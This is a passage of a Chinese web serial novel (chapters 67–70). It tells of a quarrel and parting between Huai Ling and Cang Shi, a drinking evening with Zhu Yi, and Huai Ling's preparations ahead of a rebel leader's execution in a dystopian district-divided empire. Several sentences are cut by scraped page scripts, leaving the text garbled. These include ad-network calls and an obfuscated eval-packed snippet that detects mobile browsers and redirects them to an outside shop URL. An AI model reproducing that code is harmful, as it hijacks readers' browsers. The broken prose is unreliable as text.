她确实有傲视其他人的资格,苍恃站在那里看了好一会,他说不出要保护槐翎的话语来,因为槐翎根本不需要他的保护,倒不如说从各种方面来说,他们两个都是槐翎的拖油瓶。 没有他们两个的限制,槐翎现在就能回A区了。 然而她什么都没说,跟过家家似的陪他们窝在C区,消磨着看不到未来的日子。 他是使了些心计才让槐翎把房门打开的,如今他也终于找到了如何不惊醒槐翎的办法,但是他什么都做不了,只能静静地站在旁边,听着槐翎悠长的呼吸。 他就像是个知道自己在做着美梦的小孩,不愿让自己的梦结束,所以紧紧地闭着眼睛,只要一直延长,一直沉浸在这个梦里,他就觉得满足了。 从A区逃出来的时候,他差点就死了。 杜山是以最高的规格来配置追击部队的,苍恃知道的机密太多,一旦泄露出来只会危害到皇帝,所以他抢了一架泰坦,为了减少追兵,把平日里几乎不怎么用的导弹扔在机库里面,摧毁了半数的泰坦。 不过他运气向来很差,那架泰坦没有完成整备,有些关节已经受损,于是他不得不从半报废的泰坦里逃出,幸好自爆功能还能使用,又成功拖延了些时间。 他把A区闹得天翻地覆,等到了B区的时候又害怕牵连到槐翎,不敢接近安全屋,只得远远地看着,他来得太晚,暴动已经结束,安全屋也空了。 就在他决心要前往C区的时候,他曾经的队友找到了他的踪迹,二十人的武装部队围堵了他,苍恃还记得曾经的队友拿枪对着自己时,那脸色是那么的苍白。 他们都有不得不开枪的理由。 他被抓了起来,鲜血流了一地,在快要失去意识的时候,他突然想起来槐翎是怎么一个人逃离同样二十人配置的小队的。 她那段事迹流传得不广,但是正巧在那段路上有高清的摄像头,所以拍了个一清二楚,这段视频甚至成为了他们护卫队的内部教材。 她那会的条件比苍恃的恶劣多了,但是槐翎从未有过认输的时候。 于是苍恃学着槐翎的技巧,从运输车队里逃了出来,后果是他受了重伤,在与槐翎见面前,他先得确保自己还活着。 后来再遇到槐翎的时候,他伤口发炎,已经溃烂得血肉模糊,如果不是槐翎的出现,恐怕早就没了。 这已经是第二次了,苍恃静静想着。 一个小时过去,苍恃知道槐翎马上就要醒来,他小心翼翼地退了出去,重新钻进自己已经冷掉的被窝里,他闭上眼睛静静等待房间内传来声音。 * 暴雨仍然未离开,他们三个无所事事,只能待在沙发上看电视。 祝译最近爱看的综艺结束了,槐翎和苍恃是松了一口气,起码祝译不会再提出要做些新发明了。 不过又有一个综艺接档,节目很简单,就是一群年轻人荒岛求生,顺便让这些人演一下谈恋爱,因为会剪辑,时不时能整出些爆点,要么就是突然插入的吵架,吵完后又突然和好了。 祝译很容易被节目带动情绪,槐翎虽然不爱看也跟着看了一些,不过她的重点都是着重在求生上。 “为什么求生的时候还有时间谈恋爱?”她问过很多次。 “又不是真的求生,年轻人闲着没事谈谈恋爱也很正常。”祝译吃着雪糕说道,“再说了,观众爱看的是谈恋爱,不是求生啊。” “可是这都是演的啊,难道演出来的爱也值得去相信吗?” 槐翎也舀了一勺雪糕,她是理解不了,但是旁边苍恃的表情就有些复杂了。 吃完饭后槐翎也乖乖地去洗碗了,她似乎颇为享受这样的独处时光,在洗完碗之后,她会回到房间里的阳台里抽烟。 隔壁的男孩再也没出现过了,槐翎也没别的人可以玩-弄。 苍恃看着这样的槐翎,只觉得陌生又怪异,好像这是另一个世界里的槐翎,和过去的槐翎相去甚远。 他有时候觉得这样的槐翎也挺好的,他会趁槐翎洗碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744729|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手都是泡的时候去吻她,又会趁槐翎抽烟的时候去堵上她的嘴巴,他们没有进一步的接触,只停留在接吻这一步已经足够,槐翎不抗拒也不生气,她只是接受了这个动作,在结束后会眯着眼睛看苍恃,就像是一只被满足了的猫。 苍恃却时不时觉得,这样的槐翎美好得像是虚假的。 他在命运女神的眷顾下,小小地体会到了人生里来之不易的幸福。 现在他开始觉得这样的幸福是只为他编织的虚幻,等他醒来的时候只会感觉到无尽的空虚和痛苦,他变得惶恐不安,时而沉默寡言,时而情绪失控。 他会在槐翎还在和祝译说话的时候去吻她,在打雷的夜晚去偷偷牵她的手,当槐翎工作的时候也要紧紧抱着她,他自作主张地进入槐翎的房间,在她的房间里留下自己的痕迹。 他尝试在槐翎身上获取更多温暖,他就像是不知餍足的野兽,缠着槐翎不放,用尽全力去获得她的关注,他的世界很小,小得只能容下一个人。 他想要体验到爱,却又没有勇气去表达爱。 于是他在崩溃的边缘,终究是没忍住问出了一个会毁掉一切的问题。 苍恃咬着她的唇,用迷离又充满眷恋的声音说出藏在心底的话语。 “我们现在是什么关系?” 槐翎的表情只有一瞬的僵硬,然后她移开了目光,脸上的笑意在这瞬间消失,她是说谎的好手,苍恃静静地看着她,脸上的潮红也在这之后退去。 他知道自己不该问的,但是他依旧把自己所有的筹码都放在了那个答案上。 哪怕只有一点,他都希望槐翎是对自己有一点好感的。 不用达到爱,不用达到喜欢,只要是那么一点微不足道的好感就足够了。 苍恃很紧张,他的手心都湿透了,声音也有了些许的颤抖。 “为什么要问这种问题?”她用问题回答了问题。 他抿紧嘴唇,感觉汹涌的泪水涌了上来,他输掉了所有的筹码。 她回避了问题,甚至没有选择说谎,槐翎扯出一个微笑,伸手要摸他的脸,苍恃只能侧过头去,避开了她的触摸。 槐翎的手僵在半空中,她是那么的残忍,又是那么的冷静。 “我可以给你钱…只要是你想要的…”槐翎的唇还是晶莹的,她美得动人心魄,在这美丽的外表下,是一颗十恶不赦的心。 他睫毛动了一下,泪水便倏地从眼眶掉下来,泪珠掉在槐翎的胸口,很快就消失不见。 “在你眼里我到底算什么?”他苦笑,他不该笑的,又有些庆幸,幸好槐翎没有选择说谎。 槐翎的笑容也慢慢消失了,她就这么安静地看着苍恃,睫毛轻轻颤动,她欲言又止,最终什么话都没说出来。 他恨她的沉默,又害怕从她嘴里说出的残酷话语,他感觉自己的胸口正在被一把钝刀剖开,一点也不轻松,一刀接着一刀痛苦得让他快要死去。 苍恃知道,他亲手终结了这一场梦,现在该是醒来的时候了。 68. 第 68 章 他们闹得不开心。祝译敏锐地察觉到了,不过有这样的结果一点也不奇怪,两个胆小的人,都要刺得对方鲜血淋漓才会罢休。 不把尖刺拔下来就无法相拥,无法感受对方就无法表达爱意。 在这件事上没有对错之分,这两个人都是输家。 暴雨终于小了一些,天气预报说预计明天就能停雨,不过再不停雨下去也是麻烦,街道很显然已经淹了,大家的出行也受到了影响,总不能一直让居民待在家里不离开。 祝译坐在窗边看书,现在安全屋里安静得要命,尴尬得让她都要看不进去书上的字。 自他们吵架后,苍恃就很少留在安全屋里了,他带上自己的装备出门,说是要排除掉危险,但是真的有那么多危险吗? 槐翎只当没听见,她神色如常,好像前几天的缠绵都是幻觉。 祝译觉得她真是心狠,转念一想,也就她这样的人能以上面的位置为目标,要是换成一个只会哭哭啼啼的恋爱脑,这个国家才不会变好。 槐翎对着自己的电脑,她对自己的东西都有很强的保护欲,从不让人窥探到上面的内容,但是祝译曾经无意中瞥到上面的画面,那是身份卡系统的管理画面。 虽然不知道槐翎用什么手段做到的,之前那些身份卡的出现也终于有了合理的解释,只要能进入到管理画面,那创造再多不存在的人都是可操作的。 身份卡的存在不仅仅是登记和展示一个人的名字照片和住址,它同样和个人财产、教育程度、医疗、工作等相关联,一张A区的身份卡可以拥有数不清的特权,而E区的身份卡却什么都做不到。 所以只要槐翎想,她随时都能回去A区。 祝译合上书本,她来到酒柜旁边,把私藏的烈酒都拿了出来。 “喝不喝?”她看向槐翎。 槐翎的目光从电脑屏幕上移开,她单手撑脸,似乎正在考虑,在过了一会后,她起身来到祝译前面的座位上。 祝译是会调酒的,她自认为自己的调酒技术比做饭要好不少,但是苦于现在手头没有工具,她只能拿出冰块,简单地把酒倒上。 棕色的酒液混着冰块在杯子里晃动,发出清脆悦耳的声音,驱散掉了一丝燥热。 祝译举起杯子,主动地和槐翎碰了杯。 她小小喝了一口,这酒过于烈,她平常不会这么喝,但在感受到那醇厚的口感后,她还是发出了长长的喟叹。 在遇到纪栖之前,祝译是对酒精上瘾的,她出入A区每一个酒吧,每个酒保都对她有印象,他们都知道祝译的酒量和爱喝的酒,有时候只要祝译一个微笑,他们就会奉上漂亮的鸡尾酒。 槐翎一口喝完了酒杯里的酒,她面不改色,好像刚刚喝下去的是水。 祝译在冰箱里翻箱倒柜,最终找到些花生,她把碟子往前推了推,示意槐翎也吃一些。 槐翎只点点杯子让她再加。 祝译也并未因为槐翎的傲慢而生气,她又加了半杯,槐翎马上就想喝下去,被她伸手制止了。 “你这样喝酒没意思。”祝译摇头。 “那要怎么喝才有意思?”槐翎抬眼看她,她的情绪淡淡的,看不出在想什么。 “聊天,玩游戏,配下酒菜,再不济看看电视都好。”祝译最爱和酒保聊天,酒保都是经过专业训练的,他们一般都会顺着客人的话去回答,所以在排解的时候听到他们说些虚情假意的安慰也挺开心的。 “那你说点什么。”她兴致缺缺,祝译像是发现了什么不得了的大新闻,原来不开心的人也不止苍恃一个嘛。 “客人,你在烦恼什么?”祝译学着酒保的模样,带着微笑看向槐翎。 “没什么。”槐翎连眼皮都懒得动,她再次把酒一饮而尽,又让祝译加了一些进去,祝译自然是应允了。 “客人,饮酒过快很容易醉的。” “多嘴。”槐翎翻了个白眼,祝译咯咯笑了起来。 “在你离开的五年里发生了好多事情,”祝译主动找到了个话题,她语气里满是充满对过去的怀念,“对了,你有看过我们的毕业照吗?” “我怎么可能看过。” 祝译又在手机翻来翻去,还真让她翻出来一张有几百人的大合照,因为照片质量很好,就算放大也能清楚看到每个人的脸。 “你看,这是我……以前看上去好傻哦。” “现在也没变聪明。” “这是万年老二,你走了之后他就开始看我不爽了。” “他是老三,以前也没少挑衅我。” “槐雾明明毕业了也能回来拍照,就坐在前排,他变化还是挺大的。” “……一样的蠢。” 祝译一个接着一个评论了起来,槐翎整个人放松了不少,谈笑间她们已经快喝完一瓶烈酒,祝译的脸变红了,然而槐翎还是一如既往,看不出是喝过酒的样子。 “啊,这是温蓓,以前她好清纯。” “我不认识她……” “还记得这个人?之前好像也是槐雾的狗腿子,其实他暗恋温蓓来着。” “你怎么这也知道?” “这个胖子有印象吗?他曾经给同级的女学生做了个排名,被人发现之后还矢口否认,大家都很瞧不起他,顺带一提,我在前十。” “你倒也不用把这种排名放在心上…” “猜猜第一是谁?” “我不感兴趣。” 祝译又开了一瓶烈酒,透明的酒液混着冰块,如果不是空气中的酒味,很难看出来这是酒。 “其实他们都不敢把你排上去,怕槐雾生气,同时又怕你回来找他们。” “我那会不都死刑了吗?这还有什么好怕的。” “妹妹啊,江湖上还流传着你的传说。” 酒瓶又空了一半,祝译眼皮开始打架,她趴在桌面上,不过精神还可以。槐翎晃着酒杯,依旧看不出醉意。 “其实这张照片还缺了人,如果能到齐就好了。”祝译喃喃说道。 槐翎拿着杯子的手顿了一下,她自然是听懂了,但是很多事情就和这毕业照一样,是不可能回到过去的。 “那会大家都好年轻,不像现在,大家都变得好油腻市侩,以前我还觉得这个人挺帅的,可是去年我见到他的时候,他已经胖了二十斤,整个人都往外泛着油。” “我也变老了,如果可以的话,真想回到五年前啊……”祝译渐渐闭上眼睛。 槐翎把杯子里的酒一饮而尽。 “你为什么不会醉啊?”祝译突然坐了起来,她口齿不清,说起话来舌头像是在打结。 槐翎不是不会醉,只是她知道自己的极限在哪,所以能够控制自己在醉之前就能停止。 祝译已是十分的醉,她自然看不到槐翎那平日里绝对不会有的水润双眸。 “你是个坏人,非常坏的女人。”祝译指着槐翎。 “我知道。”槐翎为自己倒上最后的酒。 “铁石心肠。” “还有呢?” “冷酷无情。” “对。” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 心口不一。” “……”槐翎没有回答,她喝完最后一口,胃正在燃烧,烧得她浑身发热,不过她的头脑依然清醒。 槐翎把祝译抱了起来,送她回了房间,她们喝了一个下午,现在天已经黑了,外面还在淅淅沥沥下着雨。 “去找他吧。”祝译躺在床上,她睁着眼睛,双目无神,不知道是在对谁说话。 “下雨了,他应该回家。” 槐翎站在她身旁好一会,最后重重地叹了口气。 槐翎回到卫生间,给自己洗了一把脸,冷水泼到脸上的时候,她感觉自己又清醒了几分。 在洗手台的上面,放着两把不同颜色的牙刷,她盯着看了好久,然后用力捏了自己的眉心。 思考再三后,她穿上一件风衣,又带上一把伞就这么离开了。 其实槐翎不知道苍恃实际在哪里,她点了根烟,在楼下吹着风,因为满身酒气,不少路人都回头看她,又被她的气质所震慑到匆匆离开。 散了点酒气后,她撑着伞往另一头走去。 身体似乎有自己的想法,槐翎任由双腿自己前进,在拐了几个弯,走过几个狭窄的小巷后,她走进了一家老旧的居民楼,槐翎从未来过这里,但是冥冥之中,她又相信能找到他。 漆黑的走廊里,只有她点着的烟发出小小的火红的光,照亮了她那张瑰丽的脸,因为酒精的影响,她整张脸都透着粉色。 走廊的尽头,有一间房子和别的房子完全不一样,门口没有装饰,入口积了一层厚厚的灰,但是门把手却是干净的。 雨伞的顶端还在滴水,槐翎把烟熄灭,将雨伞放在门边,她深吸了一口气,夜晚的空气有些发凉,让她的身体微微发颤。 门被推开时发出“吱呀”的声音,槐翎闻到独属于老房子的气味,房子里面一片狼藉,没有大型的家具,只有零散的东西四处堆放,显然这个房子的主人没有来得及收拾就离开了。 这是一间普通的二居室房子,一眼就能看清房子的构造,这里曾经住过一个普通的三口之家,又在若干年后遭遇什么变故于是匆忙搬走了。 槐翎听到在其中一个房间里传出细微的声音,她转身走了过去,鞋跟在木地板上发出清脆的声音。 木门上有用小刀刻下的歪歪扭扭的划痕,在旁边写着日期,槐翎定睛看了一会,这应该是用来记录小孩身高的。 这个记录停留在十年前,最后一道划痕正正好和槐翎的身高一样。 槐翎推开虚掩的门,苍恃就这么坐在一张小小的单人床上,以他现在的身高来说,这房间显得十分拥挤,他正在擦拭一件布满灰尘的书,很专注,浑身却透露出悲伤。 槐翎的猜测也得到了证实。 “这是你家。”她说出自己的结论。 “嗯。”苍恃没有停下擦拭的动作,他似是在对待一件宝物,槐翎看到书上写着他的名字,但是字迹不算工整,看上去像是很小时候写的。 槐翎就这么站在那里看着他擦了半天,她久违地感觉到了些尴尬,不知道自己来这里是要做什么的,她的到来反而显得是打扰了别人。 “祝译叫你回去。”她只好搬出祝译。 “那来的人应该是祝译。” 苍恃还是没抬头看她,现在的他回到了过去的状态,对谁都是一模一样的冷淡,再无偏爱。 槐翎被下了面子,她咬着唇,开始酝酿下一句要说些什么好。 “谁来都一样,雨要变大了。”她艰难地挤出一句话来,语气有着微不可察的酸涩。 69. 第 69 章 “唰”的一声,雨势果真变大了,槐翎觉得自己带的那把伞肯定遮不住这样的雨量。 他停下擦拭的手,抬头在前面的凌乱的柜子里又抽出一本,他拍拍上面的灰尘,双手都沾满了灰尘。 槐翎没什么耐心,她挡在苍恃的面前,伸手想去拉他的衣袖,却被苍恃避开了。 她大声地“啧”了一下,在这个小房间里听得极为刺耳。 “你先回去吧。”苍恃下了逐客令。 槐翎本来也待不下去了,听到这句话逆反心理马上就上来了,她一屁股坐在苍恃的旁边,双手抱着肩膀,也顾不上床铺上都是灰尘,她开始到处打量房间里的布置。 可以看出来以前很温馨,但是里面的东西都被翻出来,有些都被扔到地上,能看见上面还有几个脚印,黑黑的,充满了恶意。 地上有以前的作业,也有成绩单,还有夹着书签的书,做到一半的手工…… 槐翎想起来祝译展示的那张毕业照,“有照片看吗?” 苍恃的手顿了一下,然后他又继续收拾东西,无视了槐翎的问题。 槐翎见他没反应,决定自己去翻,她打开床头柜,看了一眼都是以前流行的玩具,都整齐地收在里面,又去看旁边桌子上的展示出来的书,但是除了些经典文学作品外什么都找不到。 “没有色情杂志吗?”她曾经在槐雾的家里翻到过,槐雾还很害羞地藏起来了,槐翎记得他是把东西都藏在床头柜里,方便随时看。 “……”苍恃一点都不想理她。 槐翎又在另一个书柜里找了起来,还是没有收获,她把目标转向衣柜,衣柜门看上去寿命将尽,只要一摸就能掉下来。 她直接把衣柜门卸了下来,里面挂着零散几件校服,在衣柜里面有个小抽屉,槐翎刚想打开,就被苍恃制止了。 “你一定要在我面前翻我的东西吗?”他满脸不快。 槐翎却有一种得逞了的快感,她坏心眼地笑了起来。苍恃叹了口气,从书柜的夹层里拿出一张旧照片,那是一张合照,上面的他只有十来岁,整个人看上去还很青涩,面对镜头时很拘谨,露出了个不算好看的笑容,旁边站着一个温婉的女性,苍恃的眉眼像她,很显然这是他的母亲。 槐翎接过照片看了半天,时不时抬头去对比他以前的脸和现在的脸,现在的他彻底长开了,再也没有了过去青涩的感觉。 取而代之的,只有无尽的疏离。 他显然不喜欢这样被打量,于是用力抽走了照片,重新把它塞回夹层里。 “你长得和你妈妈很像。”槐翎的语气软化了下来,她不用猜都知道发生了什么,心里自然是多了几分同情。 他没有说话,眼皮垂下,长长的睫毛遮住了他的目光。 槐翎实在是不擅长这份工作,她酝酿了很多话语,最终什么都说不出来,幸好来之前喝了不少酒,不然她得和苍恃在这里大眼瞪小眼到第二天。 如今酒意翻涌,她感觉自己的大脑都变成了一团浆糊,她虽还清醒,脑子却不灵光了。 “你回去吧。”苍恃再次赶她走。 “雨这么大你还要赶我走啊?”槐翎看了眼外面,这雨都下得看不清道路了,她可不想湿淋淋地回去。 “那雨小了你就回去。”苍恃捏了捏眉心,显然是不想理槐翎。 槐翎直接躺了下来,她醉了也不会怎么样,顶多就是犯困,现在有些困了,她打了个哈欠。 “能抽烟吗?”她把烟捏在指间。 “不能。”苍恃把烟拿走。 “不能就不能,你抢我东西干什么。”她翻了个身,沾了一身灰尘。 “要睡就回去睡,这里脏。” “你不回我可不敢回,祝译又得唠叨我。” 苍恃叹了口气,起身想要离开,槐翎眼疾手快地抓住他的衣角,没让他成功离开。 “我开车送你回去。”他从口袋里拿出车钥匙。 “不早说。”槐翎马上弹了起来,她拍拍身上的灰尘,跟着苍恃走了出去。 苍恃走在前面,等槐翎出来后,他把大门关上,门锁发出“咔哒”一声,虽然没什么防盗的意义,他还是坚持要锁上。 槐翎没忘记把雨伞带上,苍恃站在楼道里,头顶昏暗的灯发出橙色的光芒投在他的身上,整个人都像是笼罩在一片温暖之中。 她站在原地看了一会,才发现苍恃的嘴角微微上扬,充满耐心地看着她,两个人就这么隔着一段距离互看了一阵子。 槐翎觉得自己确实是有些醉了,她用力眨眼让自己清醒过来,才快步跟了上去。 车子停在楼下,两个人淋着雨钻了进去,紧接着车子启动,驶入了回去的道路,因为是夜晚,雨也下很大,路上基本没什么车。 槐翎又打了个哈欠,她调整了个舒服的姿势,眼睛已经想闭上了。 “才十分钟的路程,别睡。” 但是槐翎还是没抵挡住困意,她侧过头去,就这么靠着车座睡了过去。 苍恃实在没办法,只能尽快开回去,把车的速度又提高了些。 等到了目的地时,他只得抱起槐翎,另一只手拿着雨伞,在等电梯的时候,旁边的人时不时打量他和槐翎。 槐翎的脸埋在他的怀里,四肢都自然垂下,盘起来的头发有些凌乱,掉下来几缕长发,遮住她的侧脸,身上的烟酒味并不好闻。苍恃伸手替她把头发别在耳后,她没有任何反应,眼睛紧紧闭着,整张脸都透着粉色。 好几个人甚至偷偷议论起来,苍恃只能装听不见,头一次希望电梯能再快一些。 等电梯终于到达自己的楼层时,苍恃几乎是跑着离开的,他还没进门就闻到一股浓烈的酒味,眉头也在闻到酒味的瞬间就皱了起来。 这到底是喝了多少啊?也难怪槐翎今天这么奇怪了。 苍恃看了一眼大厅散落的酒瓶暗暗咂舌,祝译的房间关着门没开灯,显然已经睡了,他本想直接把槐翎放回去,又想到她身上沾了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 层灰,只好先帮她把外套脱下来,裤子也是脏的,他犹豫了半天,还是直接帮她盖上了被子。 槐翎规规整整地睡在床上,苍恃站在旁边看了一会,确定她没问题后就想走了。 “我该拿你怎么办好……”他像是在问槐翎,又像是在问自己。 没有人能回答他的问题。 “你是我见过最残忍的人,说不定把你的胸口剖开里面都是空的,可是,偏偏是你……我还是离你远一点好了,要多远有多远,直到再也看不见你。” “我讨厌你,非常的讨厌你。”他像是要说服自己,重复了好几遍。 他是个胆小鬼,只有在这种时候才敢说出自己的心里话。 他的身体微微颤抖,在强行深呼吸让自己镇定下来后,他恢复了惯有的冷静。 苍恃终于下定了决心,他最后再看了一眼槐翎,扭动门把手就往外面走去。 然而一只柔软的手却在这一刻握住了他的手,那手很热,掌心带了一层薄薄的汗,手心有很厚的茧,那是长期持枪留下的痕迹。苍恃惊讶地回头看去,只见槐翎不知道什么时候醒了,她赤脚站在地板上,眼睛盯着苍恃的脸看。 “去哪?”她问。 苍恃避开她的目光,想要挣脱她的手却做不到,他就这么被硬生生拉着,进退不得。 “雨那么大,你要去哪?”槐翎又问了一遍,窗外的雨声似乎也在作证,变得更大了。 他的喉结滑动了一下,什么都说不出来。 “真的有这么讨厌我?”她皱起眉头。 原来,她听到了……苍恃的脸不受控地烧了起来,被揭穿了的羞耻感铺天盖地地装满了他的大脑,让他只想尽快离开这里。 其实没有,那都是气话,那不是他真正想说的话,但是他不可能说出来,所以他也可耻地说了谎,但是让槐翎听到也没什么不好的,听到了就听到吧。 “你喝醉了。”他只能转移话题。 “没有。”槐翎叹了口气,只要十来分钟的休息,她就能重整旗鼓,现在的她比谁都要清醒,“之前的事是我不对。” 在听到这句话时,苍恃的手不自觉缩了一下,他的手心也出了一层汗,滑溜溜的,让槐翎快要抓不住。 “说出去的话是收不回来的,我们…两清了。”苍恃还是摇了头,他语气决绝,去意已决。 于是他用力把槐翎的手指一根根掰开,这已是在宣布自己的决定,槐翎的手落了空,她怔怔地看着苍恃,不敢相信他真的会做到这个地步。 他什么都没拿就这么走了。 槐翎站在原地,她突然感觉到心里有一块缺失了,她一言不发,看着苍恃的背影越走越远,最后消失在倾盆大雨的夜晚里,没留下任何痕迹,好像从未来过。 她还记得几个小时前,那个站在昏黄灯光下的苍恃,那么的温柔,充满耐心等待她,现在再也找不到了。 直到天渐渐变亮,槐翎才终于意识到她把苍恃弄丢了。 70. 第 70 章 祝译看着大厅的一片狼藉,只觉得因为宿醉就疼痛的头又痛了几分。 地面上都是混着雨水的脚印,凌乱不堪,能够清楚看到那是属于两个人的脚印,另一个稍微大一些脚印消失在走廊处,再也找不到脚印的踪迹。 她长叹了口气,也猜到发生了什么。 祝译忍着头疼把家里收拾干净,槐翎的房门还是紧闭的,祝译都不知道要跟她说什么好,祝译只好切了个苹果坐在大厅,等着槐翎出来就兴师问罪。 等到中午的时候槐翎才离开房间,她看上去和之前没什么不同,不过衣服还是昨天的那一套,上面沾着灰尘。 祝译等得没脾气了,她把苹果递给槐翎,总而言之先吃点苹果润润嗓子。 “失败了?”祝译没头没尾地问。 槐翎啃掉半片苹果,她很少会有失败的时候,但根据昨天的情况,确实可以算作失败。 “嗯。”她直白地承认了。 “那要去找吗?”祝译盯着槐翎的眼睛,少有地在里面找到了名为“惆怅”的情绪。 “不了。”槐翎摇头,她已经考虑清楚了,既然要分开,她没有找回他人的必要性,那句话怎么说来着……对,就是好聚好散。 祝译真想打开她的脑袋看看里面装了什么,可惜她没这个胆子。 时至今日有这样的结局,祝译是不感到意外的,这两个人都是一等一的别扭,倒不如稍微分开冷静一下,说不定对大家都好。 更何况像槐翎这样的人,还得失去了才知道珍惜。 祝译把剩下的苹果吃完,她就是个坏心眼的观众,全凭自己的心意观看事情的发展。 只不过做饭的活又落在祝译的身上,她随便炒了两菜,端上来的时候槐翎的表情有了明显的改变。 “别说,人还不是你赶走的。”祝译立马堵住了槐翎的抱怨。 槐翎只得硬着头皮吃完自己的份,等吃完之后她换了身衣服就往外面去。 她回到昨天找到苍恃的旧房子,他并不在里面,槐翎进去他的房间希望能找到些蛛丝马迹,转了一圈也没什么收获,槐翎重新看向那书柜,手指学着苍恃的模样,从夹层里掏出那张照片。 他没把照片带走,是因为不想触景生情吗? 槐翎看了照片好一会,接着她又用同样的方式去掏夹层,最终一张三个人的合照掉了下来。 槐翎记得新闻里发布过苍恃父亲的照片,和这张照片上的样子几乎是一模一样,槐翎这才意识到,只要她稍微回想对比一下,就能知道苍恃的身份,可是她从来都没想过这么做。 她用指腹擦去上面的灰尘,沉默地看了一会这一家三口的模样,至少在拍这张照片的时候,他们还很幸福。 离开苍恃的家后,槐翎又摸去了以前苍恃的藏身点。 因为长期下雨,空气里都充满了霉味,槐翎转了一圈一无所获。 C区很大,他就像凭空消失了,没留下一点痕迹。 站在路边抽烟的时候,槐翎才想起来还有手机这回事,她打开和苍恃的对话,最后一条消息是苍恃发来的笑脸,问她什么时候回来吃饭。 她向上划拉几下,之前都是苍恃单方面发消息比较多。 槐翎要么是装看不到,要么就是随便说点话敷衍过去。 她按着屏幕想了半天,最后酝酿出了两个字:“在吗?” 回答她的只有一个系统通知,这个号已经注销了。 槐翎看着红色的感叹号差点都要气笑了,她把烟头扔在脚边狠狠地用脚尖碾碎,心里一直有个声音如同恶魔说着她心底最深的想法。 所以她才不会信任任何人,因为其他人都不值得付出真心,真正在乎她的人怎么会就这样一走了之? 不论是纪栖,还是苍恃,他们都是同类人。 她没做错任何事情!她只是看穿了他们的伪装! 槐翎感觉笼罩在自己心头的阴霾在这自己的消解下消失了,她转身回到车上,往远方开去,她还有很多事情要做,不能在这里停滞不前。 * 在冬天来临的那一天,皇帝槐迩重新回到他的舞台。 与此同时发布的还有殷肆公开处刑的消息,在殷肆被捕将近半年的时间里,政府已经掌握了大量他引领反抗军的证据,顺藤摸瓜捣碎了不少残党的据点,与之相关的人员也通通或被逮捕或被击杀,这次受损最大的竟然是看似和平的B区,不少人的账户被冻结,知名企业被查封,大量的卫兵包围了B区,24小时在B区巡逻。 因为影响过于恶劣,皇帝亲手写下了对殷肆的处理文书,在一周后的建国纪念日里,殷肆将会在B区被公开处刑。 等到这个消息发布到全国时,B区已经全区戒严,随时准备好迎接这次死刑。 铺天盖地的泰坦和武装部队遍布在B区的每一个角落,连蟑螂都爬不到殷肆的脚边。 网络上关于殷肆的言论已经进行全面的监控,只要是对本次行刑有丝毫异议的账号都会被封禁,与殷肆相关的帖子也全部被删除,这个国家不再允许有他的存在。 报纸和电视都在全日报道此事,槐翎对此并不感到意外,她等今天等了很久。 在她被禁锢在皇宫的时候,就有一封找不到发件人的邮件送到她的邮箱,上面详细记录了反抗军的窝点,反抗军的成员信息,反抗军现存的力量……槐翎直觉那是殷肆发来的,她成为了殷肆最后的保险。 在邮件的结尾,殷肆附上了一份未发布单曲的demo,并且嘱咐槐翎一定要在等到他被宣布死亡的那一天播放出来。 槐翎还没认真听过,但她不介意殷肆把这天下搅得永无宁日。 她也没闲着,也确实实地去确认过反抗军的窝点,半数已经被找到,还有一些只剩下老弱病残,不能派上什么用场。 对于槐翎的到来,残党们倒是不感到惊讶。 目前还在领导他们的是一名老人,他招待了槐翎,在D区 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 昏暗的地下里,他们就像老鼠一样东躲西藏,浑身散发着阴湿的味道,槐翎知道那是走向死亡的味道。 “这是失败的革命。”老人很干脆地说出了这个残酷的真相。 “我们缺少正确的领导,缺少行动的目标,就算有那么庞大的人数,有那样的民众基础,也最终只能眼睁睁走向灭亡。” “引导你们走向灭亡的是短视…与自身的局限性。”槐翎如此说道。 “你是不一样的。”老人呵呵笑了起来,“我们不过是生活D区的底层,光是生存就已经足够痛苦,又有什么资本去对抗那样强大的皇帝呢?” “你们闹到最后,也不过是想要皇帝重视你们,再不济就是换个更好的皇帝来统治你们,这和自己套上项圈的羊有什么不同?” 槐翎抱着手臂,冷漠又怜悯地看着这群老弱病残。 “你们从未想过自己会有坐在上面那个位置的那一天。” “反抗不彻底等于彻底不反抗…总而言之,你们的情况我已经了解了,能跑就尽快跑吧。” 槐翎转身就想离开,老人还是颤颤巍巍地挡在她的面前,他手里拿着一个吊坠,造型奇特,不像是什么正儿八经的装饰。 “这个就交给你了。” “这什么?”槐翎并未接过。 “当他的歌响彻天空的时候,你就会知道了。”老人甚是坚持,他把吊坠强行塞到槐翎的手里。 槐翎还是收下了,吊坠还是热乎的,像是承载了老人最后的一点生命。 后来槐翎还去了别的窝点,无一例外都已经被卫兵摧毁,只剩下一片废墟和满地的鲜血。 槐翎把自动运行程序的最后一点写完,然后把那首歌放了进去,设定好播放日期时间为7天后,她开始收拾自己的行李。 祝译知道槐翎要去做什么,她一言不发,只看着太阳一点点落下。 “你留在这里是最安全的。”槐翎看着她,“D区有我为你准备的据点,如果这里被发现了的话你就尽全力跑吧。” “知道了,”祝译盯着槐翎看了好一会,脸上充满了忧愁,“你要小心。” “你以为我是谁?”槐翎微笑,她表情很轻松,好像现在要去哪个朋友家里吃饭一样简单,殊不知在她的行李装满了能够杀害上百人的武器,各种各样,应有尽有。 “我会为你做好支援的。”祝译点头。 “知道了。”槐翎把身份卡递给祝译,那是能够前往D区的通行证。 祝译郑重地接过身份卡,她们朝夕相处相处了大半年,说不上掏心掏肺,至少是统一战线的战友,更何况她们拥有一样的目标,至少在这一点上她们利益一致,这也是为什么槐翎会把重要的后方交给她。 